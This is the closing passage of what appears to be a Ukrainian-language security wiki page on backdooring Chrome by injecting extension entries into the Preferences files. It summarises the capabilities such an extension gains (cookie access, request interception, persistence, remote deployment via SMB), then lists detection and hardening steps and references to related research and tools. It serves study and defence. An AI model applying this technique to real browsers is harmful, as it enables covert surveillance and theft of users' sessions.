Після прийняття розширення запускається з оголошеними permissions, що дозволяє DOM доступ, request interception/redirects, доступ до cookie/storage та screenshot capture — фактично inbrowser code execution та стійку userprofile persistence. Віддалене розгортання через SMB або інші канали є простим, оскільки активація керується даними через Preferences.
## Виявлення та жорсткіші налаштування
- Моніторити nonChromium процеси, які записують у Preferences/Secure Preferences, особливо нові вузли під extensions.settings у парі з protection.macs entries
- Повідомляти про несподіване переключення extensions.ui.developer_mode та про HMACvalid, але непідтверджені extension entries
- Перевіряти HKCU/HKLM Software\Policies на предмет підміни; примусово застосовувати політики через device management/Chrome Browser Cloud Management
- Віддавати перевагу forcedinstall з магазину зі verified publishers замість allowlists, що співпадають лише за extension ID
## References
- [The Phantom Extension: Backdooring chrome through uncharted pathways](https://www.synacktiv.com/en/publications/the-phantom-extension-backdooring-chrome-through-uncharted-pathways.html)
- [pak_util.py (GRIT)](https://chromium.googlesource.com/chromium/src/+/master/tools/grit/pak_util.py)
- [SecurePreferencesFile (prior research on HMAC seed)](https://github.com/Pica4x6/SecurePreferencesFile)
- [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome)
{{#include ../../banners/hacktricks-training.md}}